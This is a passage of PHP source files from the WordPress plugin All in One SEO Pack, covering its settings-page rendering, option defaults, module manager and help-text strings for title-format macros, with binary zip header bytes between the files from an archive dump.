$this->prefix . 'settings_header_errors', $location ); $errors = ob_get_clean(); echo $errors; ?> <div id="aioseop_settings_header"> <?php if ( ! empty( $message ) && empty( $errors ) ) { echo "<div id=\"message\" class=\"updated fade\"><p>$message</p></div>"; } ?> <div id="icon-aioseop" class="icon32"><br></div> <h1><?php echo $name; ?></h1> <div id="dropmessage" class="updated" style="display:none;"></div> </div> <?php do_action( 'aioseop_global_settings_header', $location ); do_action( $this->prefix . 'settings_header', $location ); ?> <form id="aiosp_settings_form" name="dofollow" enctype="multipart/form-data" action="#" method="post"> <div id="aioseop_top_button"> <div id="aiosp_ajax_settings_message"></div> <?php $submit_options = array( 'action' => array( 'type' => 'hidden', 'value' => 'aiosp_update_module', ), 'module' => array( 'type' => 'hidden', 'value' => get_class( $this ), ), 'location' => array( 'type' => 'hidden', 'value' => $location, ), 'nonce-aioseop' => array( 'type' => 'hidden', 'value' => wp_create_nonce( 'aioseop-nonce' ), ), 'page_options' => array( 'type' => 'hidden', 'value' => 'aiosp_home_description', ), 'Submit' => array( 'type' => 'submit', 'class' => 'aioseop_update_options_button button-primary', 'value' => __( 'Update Options', 'all-in-one-seo-pack' ) . ' »', ), 'Submit_Default' => array( 'type' => 'submit', 'class' => 'aioseop_reset_settings_button button-secondary', /* translators: This is a button users can click to reset the settings of a specific module to their default values. %s is a placeholder and will be replaced with the name of a settings menu (e.g. "Performance"). */ 'value' => sprintf( __( 'Reset %s Settings to Defaults', 'all-in-one-seo-pack' ), $name ) . ' »', ), ); $submit_options = apply_filters( "{$this->prefix}submit_options", $submit_options, $location ); foreach ( $submit_options as $k => $s ) { if ( 'submit' == $s['type'] && 'Submit' != $k ) { continue; } $class = ''; if ( isset( $s['class'] ) ) { $class = " class='{$s['class']}' "; } echo $this->get_option_html( array( 'name' => $k, 'options' => $s, 'attr' => $class, 'value' => $s['value'], ) ); } ?> </div> <div class="aioseop_options_wrapper aioseop_settings_left"> <?php $opts = $this->get_class_option(); if ( false !== $opts ) { $this->options = $opts; } if ( is_array( $this->layout ) ) { foreach ( $this->layout as $l => $lopts ) { if ( ! isset( $lopts['tab'] ) || ( $this->current_tab == $lopts['tab'] ) ) { $title = $lopts['name']; if ( ! empty( $lopts['help_link'] ) ) { $title .= "<a class='aioseop_help_text_link aioseop_meta_box_help' target='_blank' href='" . $lopts['help_link'] . "'><span>" . __( 'Help', 'all-in-one-seo-pack' ) . '</span></a>'; } add_meta_box( $this->get_prefix( $location ) . $l . '_metabox', $title, array( $this, 'display_options', ), "{$this->prefix}settings", 'advanced', 'default', $lopts ); } } } else { add_meta_box( $this->get_prefix( $location ) . 'metabox', $name, array( $this, 'display_options', ), "{$this->prefix}settings", 'advanced' ); } do_meta_boxes( "{$this->prefix}settings", 'advanced', $location ); ?> <p class="submit" style="clear:both;"> <?php foreach ( array( 'action', 'nonce-aioseop', 'page_options' ) as $submit_field ) { if ( isset( $submit_field ) ) { unset( $submit_field ); } } foreach ( $submit_options as $k => $s ) { $class = ''; if ( isset( $s['class'] ) ) { $class = " class='{$s['class']}' "; } echo $this->get_option_html( array( 'name' => $k, 'options' => $s, 'attr' => $class, 'value' => $s['value'], ) ); } ?> </p> </div> </form> <?php do_action( $this->prefix . 'settings_footer', $location ); do_action( 'aioseop_global_settings_footer', $location ); ?> </div> <?php } /** * Get the prefix used for a given location. * * @param null $location * * @return */ function get_prefix( $location = null ) { if ( ( null != $location ) && isset( $this->locations[ $location ]['prefix'] ) ) { return $this->locations[ $location ]['prefix']; } return $this->prefix; } /** Sets up initial settings * * @param null $location * @param null $defaults * * @return array */ function setting_options( $location = null, $defaults = null ) { if ( null === $defaults ) { $defaults = $this->default_options; } $prefix = $this->get_prefix( $location ); $opts = array(); if ( null == $location || null === $this->locations[ $location ]['options'] ) { $options = $defaults; } else { $options = array(); $prefix = "{$prefix}{$location}_"; if ( ! empty( $this->locations[ $location ]['default_options'] ) ) { $options = $this->locations[ $location ]['default_options']; } foreach ( $this->locations[ $location ]['options'] as $opt ) { if ( isset( $defaults[ $opt ] ) ) { $options[ $opt ] = $defaults[ $opt ]; } } } if ( ! $prefix ) { $prefix = $this->prefix; } if ( ! empty( $options ) ) { foreach ( $options as $k => $v ) { if ( ! isset( $v['name'] ) ) { $v['name'] = $this->ucwords( strtr( $k, '_', ' ' ) ); } if ( ! isset( $v['type'] ) ) { $v['type'] = 'checkbox'; } if ( ! isset( $v['default'] ) ) { $v['default'] = null; } if ( ! isset( $v['initial_options'] ) ) { $v['initial_options'] = $v['default']; } if ( 'custom' == $v['type'] && ( ! isset( $v['nowrap'] ) ) ) { $v['nowrap'] = true; } elseif ( ! isset( $v['nowrap'] ) ) { $v['nowrap'] = null; } if ( isset( $v['condshow'] ) ) { if ( ! is_array( $this->script_data ) ) { $this->script_data = array(); } if ( ! isset( $this->script_data['condshow'] ) ) { $this->script_data['condshow'] = array(); } $this->script_data['condshow'][ $prefix . $k ] = $v['condshow']; } if ( 'submit' == $v['type'] ) { if ( ! isset( $v['save'] ) ) { $v['save'] = false; } if ( ! isset( $v['label'] ) ) { $v['label'] = 'none'; } if ( ! isset( $v['prefix'] ) ) { $v['prefix'] = false; } } else { if ( ! isset( $v['label'] ) ) { $v['label'] = null; } } if ( 'hidden' == $v['type'] ) { if ( ! isset( $v['label'] ) ) { $v['label'] = 'none'; } if ( ! isset( $v['prefix'] ) ) { $v['prefix'] = false; } } if ( ( 'text' == $v['type'] ) && ( ! isset( $v['size'] ) ) ) { $v['size'] = 57; } if ( 'textarea' == $v['type'] ) { if ( ! isset( $v['cols'] ) ) { $v['cols'] = 57; } if ( ! isset( $v['rows'] ) ) { $v['rows'] = 2; } } if ( ! isset( $v['save'] ) ) { $v['save'] = true; } if ( ! isset( $v['prefix'] ) ) { $v['prefix'] = true; } if ( $v['prefix'] ) { $opts[ $prefix . $k ] = $v; } else { $opts[ $k ] = $v; } } } return $opts; } /** * Generates just the default option names and values * * @since 2.4.13 Applies filter before final return. * * @param null $location * @param null $defaults * * @return array */ function default_options( $location = null, $defaults = null ) { $prefix = $this->get_prefix( $location ); $options = $this->setting_options( $location, $defaults ); $opts = array(); foreach ( $options as $k => $v ) { if ( $v['save'] ) { $opts[ $k ] = $v['default']; } } return apply_filters( $prefix . 'default_options', $opts, $location ); } /** * Gets the current options stored for a given location. * * @since 2.4.14 Added taxonomy options. * * @param array $opts * @param null $location * @param null $defaults * @param null $post * * @return array */ function get_current_options( $opts = array(), $location = null, $defaults = null, $post = null ) { $prefix = $this->get_prefix( $location ); $get_opts = ''; if ( empty( $location ) ) { $type = 'settings'; } else { $type = $this->locations[ $location ]['type']; } if ( 'settings' === $type ) { $get_opts = $this->get_class_option(); } elseif ( 'metabox' == $type ) { if ( null == $post ) { global $post; } if ( ( isset( $_GET['taxonomy'] ) && isset( $_GET['tag_ID'] ) ) || is_category() || is_tag() || is_tax() ) { $term_id = isset( $_GET['tag_ID'] ) ? (int) $_GET['tag_ID'] : 0; $term_id = $term_id ? $term_id : get_queried_object()->term_id; if ( AIOSEOPPRO ) { $get_opts = AIO_ProGeneral::getprotax( $get_opts ); $get_opts = get_term_meta( $term_id, '_' . $prefix . $location, true ); } } elseif ( isset( $post ) ) { $get_opts = get_post_meta( $post->ID, '_' . $prefix . $location, true ); } } if ( is_home() && ! is_front_page() ) { // If we're on the non-front page blog page, WP doesn't really know its post meta data so we need to get that manually for social meta. $get_opts = get_post_meta( get_option( 'page_for_posts' ), '_' . $prefix . $location, true ); } $defs = $this->default_options( $location, $defaults ); if ( empty( $get_opts ) ) { $get_opts = $defs; } else { $get_opts = wp_parse_args( $get_opts, $defs ); } $opts = wp_parse_args( $opts, $get_opts ); return $opts; } /** Updates the options array in the module; loads saved settings with get_option() or uses defaults * * @param array $opts * @param null $location * @param null $defaults */ function update_options( $opts = array(), $location = null, $defaults = null ) { if ( null === $location ) { $type = 'settings'; } else { $type = $this->locations[ $location ][ $type ]; } if ( 'settings' === $type ) { $get_opts = $this->get_class_option(); } if ( false === $get_opts ) { $get_opts = $this->default_options( $location, $defaults ); } else { $this->setting_options( $location, $defaults ); } // hack -- make sure this runs anyhow, for now -- pdb $this->options = wp_parse_args( $opts, $get_opts ); } } } PK������+—[ÒB�Wz��z��4��all-in-one-seo-pack/admin/aioseop_module_manager.phpnu�„[µü¤��������<?php /** * The Module Manager. * * Mostly we're activating and deactivating modules/features. * * @package All-in-One-SEO-Pack * @since 2.0 */ if ( ! class_exists( 'All_in_One_SEO_Pack_Module_Manager' ) ) { /** * Class All_in_One_SEO_Pack_Module_Manager */ class All_in_One_SEO_Pack_Module_Manager { /** * Modules * * @since ? * * @var array $modules */ protected $modules = array(); /** * Settings Update * * @since ? * * @var bool $settings_update */ protected $settings_update = false; /** * Settings Reset * * @since ? * * @var bool $settings_reset */ protected $settings_reset = false; /** * Settings Reset All * * @since ? * * @var bool $settings_reset_all */ protected $settings_reset_all = false; /** * Module Settings Update * * @since ? * * @var bool $module_settings_update */ protected $module_settings_update = false; /** * All_in_One_SEO_Pack_Module_Manager constructor. * * Initialize module list. * * @param $mod Modules. */ function __construct( $mod ) { $this->modules['feature_manager'] = null; foreach ( $mod as $m ) { $this->modules[ $m ] = null; } $reset = false; $reset_all = ( isset( $_POST['Submit_All_Default'] ) && '' !== $_POST['Submit_All_Default'] ); $reset = ( ( isset( $_POST['Submit_Default'] ) && '' !== $_POST['Submit_Default'] ) || $reset_all ); $update = ( isset( $_POST['action'] ) && $_POST['action'] && ( ( isset( $_POST['Submit'] ) && '' !== $_POST['Submit'] ) || $reset ) ); if ( $update ) { if ( $reset ) { $this->settings_reset = true; } if ( $reset_all ) { $this->settings_reset_all = true; } if ( 'aiosp_update' === $_POST['action'] ) { $this->settings_update = true; } if ( 'aiosp_update_module' === $_POST['action'] ) { $this->module_settings_update = true; } } $this->do_load_module( 'feature_manager', $mod ); } /** * Return Module * * @since ? * * @param $class * @return $this|bool|mixed */ function return_module( $class ) { global $aiosp; /* This is such a strange comparison! Don't know what the intent is. */ if ( get_class( $aiosp ) === $class ) { return $aiosp; } if ( get_class( $aiosp ) === $class ) { return $this; } foreach ( $this->modules as $m ) { if ( is_object( $m ) && ( get_class( $m ) === $class ) ) { return $m; } } return false; } /** * Get Loaded Module List * * @since ? * * @return array */ function get_loaded_module_list() { $module_list = array(); if ( ! empty( $this->modules ) ) { foreach ( $this->modules as $k => $v ) { if ( ! empty( $v ) ) { $module_list[ $k ] = get_class( $v ); } } } return $module_list; } /** * Do Load Module * * @since ? * * @param $mod Module. * @param null $args * @return bool */ function do_load_module( $mod, $args = null ) { // Module name is used for these automatic settings: // The aiosp_enable_$module settings - whether each plugin is active or not. // The name of the .php file containing the module - aioseop_$module.php. // The name of the class - All_in_One_SEO_Pack_$Module. // The global $aioseop_$module. // $this->modules[$module]. $mod_path = apply_filters( "aioseop_include_$mod", AIOSEOP_PLUGIN_DIR . "modules/aioseop_$mod.php" ); if ( ! empty( $mod_path ) ) { require_once( $mod_path ); } $ref = "aioseop_$mod"; $classname = 'All_in_One_SEO_Pack_' . strtr( ucwords( strtr( $mod, '_', ' ' ) ), ' ', '_' ); $classname = apply_filters( "aioseop_class_$mod", $classname ); $module_class = new $classname( $args ); $GLOBALS[ $ref ] = $module_class; $this->modules[ $mod ] = $module_class; if ( is_user_logged_in() && is_admin_bar_showing() && current_user_can( 'aiosp_manage_seo' ) ) { add_action( 'admin_bar_menu', array( $module_class, 'add_admin_bar_submenu', ), 1001 + $module_class->menu_order() ); } if ( is_admin() ) { add_action( 'aioseop_modules_add_menus', array( $module_class, 'add_menu', ), $module_class->menu_order() ); add_action( 'aiosoep_options_reset', array( $module_class, 'reset_options' ) ); add_filter( 'aioseop_export_settings', array( $module_class, 'settings_export' ) ); } return true; } /** * Load Module * * @since ? * * @param $mod * @return bool */ function load_module( $mod ) { static $feature_options = null; static $feature_prefix = null; if ( ! is_array( $this->modules ) ) { return false; } $v = $this->modules[ $mod ]; if ( null !== $v ) { return false; } // Already loaded. if ( 'performance' === $mod && ! is_super_admin() ) { return false; } if ( ( 'file_editor' === $mod ) && ( ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) || ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) || ! is_super_admin() ) ) { return false; } $mod_enable = false; $is_module_page = isset( $_REQUEST['page'] ) && trailingslashit( AIOSEOP_PLUGIN_DIRNAME ) . 'modules/aioseop_feature_manager.php' === $_REQUEST['page']; if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { // using $_REQUEST does not work because even if the parameter is set in $_POST or $_GET, it does not percolate to $_REQUEST. $is_module_page = ( isset( $_GET['page'] ) && trailingslashit( AIOSEOP_PLUGIN_DIRNAME ) . 'modules/aioseop_feature_manager.php' === $_GET['page'] ) || ( isset( $_POST['page'] ) && trailingslashit( AIOSEOP_PLUGIN_DIRNAME ) . 'modules/aioseop_feature_manager.php' === $_POST['page'] ); } $fm_page = $this->module_settings_update && wp_verify_nonce( $_POST['nonce-aioseop'], 'aioseop-nonce' ) && $is_module_page; if ( $fm_page && ! $this->settings_reset ) { if ( isset( $_POST[ "aiosp_feature_manager_enable_$mod" ] ) ) { $mod_enable = $_POST[ "aiosp_feature_manager_enable_$mod" ]; } else { $mod_enable = false; } } else { if ( null === $feature_prefix ) { $feature_prefix = $this->modules['feature_manager']->get_prefix(); } if ( $fm_page && $this->settings_reset ) { $feature_options = $this->modules['feature_manager']->default_options(); } if ( null === $feature_options ) { if ( $this->module_settings_update && $this->settings_reset_all && wp_verify_nonce( $_POST['nonce-aioseop'], 'aioseop-nonce' ) ) { $feature_options = $this->modules['feature_manager']->default_options(); } else { $feature_options = $this->modules['feature_manager']->get_current_options(); } } if ( isset( $feature_options[ "{$feature_prefix}enable_$mod" ] ) ) { $mod_enable = $feature_options[ "{$feature_prefix}enable_$mod" ]; } } if ( $mod_enable ) { return $this->do_load_module( $mod ); } return false; } function load_modules() { if ( is_array( $this->modules ) ) { foreach ( $this->modules as $k => $v ) { $this->load_module( $k ); } } } } } PK������+—[r†ž‹´G�´G�2��all-in-one-seo-pack/admin/class-aioseop-helper.phpnu�„[µü¤��������<?php /** * AIOSEOP Helper/Info Class * * Description. (use period) * * @link URL * * @package All-in-One-SEO-Pack * @since 2.4.2 */ /** * All in One SEO Plugin Helper * * @since 2.4.2 */ class AIOSEOP_Helper { /** * Help Text for jQuery UI Tooltips. * * @since 2.4.2 * @var array $help_text { * @type string * } */ private $help_text = array(); /** * Constructor * * @since 2.4.2 * * @param string $module Module/Class name. */ public function __construct( $module = '' ) { if ( current_user_can( 'aiosp_manage_seo' ) ) { $this->_set_help_text( $module ); } } /** * Set this Help Text * * Sets the Help Text according to the module/class in use, but if there is * no class name in $module, then this Help Text will add all module help texts. * * @ignore * @since 3.0 * @access private * * @param string $module All_in_One_SEO_Pack module. */ private function _set_help_text( $module ) { switch ( $module ) { case 'All_in_One_SEO_Pack': $this->help_text = $this->help_text_general(); $this->help_text = array_merge( $this->help_text, $this->help_text_post_meta() ); break; case 'All_in_One_SEO_Pack_Performance': $this->help_text = $this->help_text_performance(); break; case 'All_in_One_SEO_Pack_Sitemap': $this->help_text = $this->help_text_sitemap(); break; case 'All_in_One_SEO_Pack_Opengraph': $this->help_text = $this->help_text_opengraph(); break; case 'All_in_One_SEO_Pack_Robots': $this->help_text = $this->help_text_robots_generator(); break; case 'All_in_One_SEO_Pack_File_Editor': $this->help_text = $this->help_text_file_editor(); break; case 'All_in_One_SEO_Pack_Importer_Exporter': $this->help_text = $this->help_text_importer_exporter(); break; case 'All_in_One_SEO_Pack_Bad_Robots': $this->help_text = $this->help_text_bad_robots(); break; } /** * Set Help Text * * @since 3.0 * * @param array $this->help_text Contains an array of help text for each setting. * @param string $module Shows which class module is using the function. */ $this->help_text = apply_filters( 'aioseop_helper_set_help_text', $this->help_text, $module ); } /** * Help Text General Settings * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_general() { /* * Consider changing the construction of the macros. * * The name of the macro should NOT be inside _e() or __() because it does not make sense as it * won't change with the language. * * Moreover, it will confuse WPCS and it will try to replace %c (as in %category%) to %$1c. * Placeholder %s (%something) has been bug fixed. * @link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/698 */ // phpcs:disable WordPress.WP.I18n.MissingTranslatorsComment // phpcs:disable WordPress.WP.I18n.UnorderedPlaceholdersText $rtn_help_text = array( // General Settings. 'aiosp_can' => __( 'This option will automatically generate Canonical URLs for your entire WordPress installation. This will help to prevent duplicate content penalties by Google.', 'all-in-one-seo-pack' ), 'aiosp_no_paged_canonical_links' => __( 'Checking this option will set the Canonical URL for all paginated content to the first page.', 'all-in-one-seo-pack' ), 'aiosp_use_original_title' => __( 'Use wp_title to get the title used by the theme; this is disabled by default. If you use this option, set your title formats appropriately, as your theme might try to do its own title SEO as well.', 'all-in-one-seo-pack' ), 'aiosp_schema_markup' => __( 'This enables Schema.org structured data markup for rich snippets in search results.', 'all-in-one-seo-pack' ), /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_do_log' => sprintf( __( 'Check this and %s will create a log of important events (all-in-one-seo-pack.log) in the wp-content directory which might help debugging. Make sure this directory is writable.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), // Home Page Settings. 'aiosp_home_title' => __( 'As the name implies, this will be the Meta Title of your homepage. This is independent of any other option. If not set, the default Site Title (found in WordPress under Settings, General, Site Title) will be used.', 'all-in-one-seo-pack' ), 'aiosp_home_description' => __( 'This will be the Meta Description for your homepage. This is independent of any other option. The default is no Meta Description at all if this is not set.', 'all-in-one-seo-pack' ), 'aiosp_home_keywords' => __( 'Enter a comma separated list of your most important keywords for your site that will be written as Meta Keywords on your homepage. Do not stuff everything in here.', 'all-in-one-seo-pack' ), 'aiosp_use_static_home_info' => __( 'Checking this option uses the title, description, and keywords set on your static Front Page.', 'all-in-one-seo-pack' ), // Title Settings. 'aiosp_home_page_title_format' => __( 'This controls the format of the title tag for your Homepage.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%page_title%</dt>' . /* translators: %s is replaced with a content type such as Post, Page, etc. */ '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_login%</dt>' . /* translators: Example sentence: "The first name of the author of the Post" */ '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'username', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_nicename%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), /* translators: The "nicename" is the sanitized version of a username. */ __( 'nicename', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_firstname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'first name', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_lastname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'last name', 'all-in-one-seo-pack' ), __( 'Homepage', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_date%</dt>' . /* translators: %s is replaced with a time related term such as Date, Year, Month, etc. */ '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . /* translators: %s is replaced with a time related term such as Date, Year, Month, etc. */ '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . /* translators: %s is replaced with a time related term such as Date, Year, Month, etc. */ '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%cf_fieldname%</dt>' . '<dd>' . __( 'The name of a custom field', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_page_title_format' => __( 'This controls the format of the title tag for Pages.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%page_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_login%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'username', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_nicename%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'nicename', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_firstname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'first name', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_lastname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'last name', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_date%</dt>' . /* translators: %s is replaced with a time related term such as Date, Year, Month, etc. */ '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_date%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_year%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_month%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ), __( 'Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%cf_fieldname%</dt>' . '<dd>' . __( 'The name of a custom field', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_post_title_format' => __( 'This controls the format of the title tag for Posts.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%post_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%category_title%</dt>' . /* translators: %s is replaced with a content type such as Post, Page, etc. */ '<dd>' . sprintf( __( 'The (main) Category of the %s', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_login%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'username', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_nicename%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'nicename', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_firstname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'first name', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%page_author_lastname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'last name', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_date%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_date%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_year%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_month%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%cf_fieldname%</dt>' . '<dd>' . __( 'The name of a custom field', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_category_title_format' => __( 'This controls the format of the title tag for Category Archives.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%category_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), __( 'Category', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%category_description%</dt>' . /* translators: %s is replaced with a content type such as Post, Page, etc. */ '<dd>' . sprintf( __( 'The description of the %s', 'all-in-one-seo-pack' ), __( 'Category', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '</dl>', 'aiosp_archive_title_format' => __( 'This controls the format of the title tag for Custom Post Archives.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%archive_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), /* translators: "Archive" is used in the context of a WordPress archive page. */ __( 'Archive', 'all-in-one-seo-pack' ) ) . '</dd>' . '</dl>', 'aiosp_date_title_format' => __( 'This controls the format of the title tag for Date Archives.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . 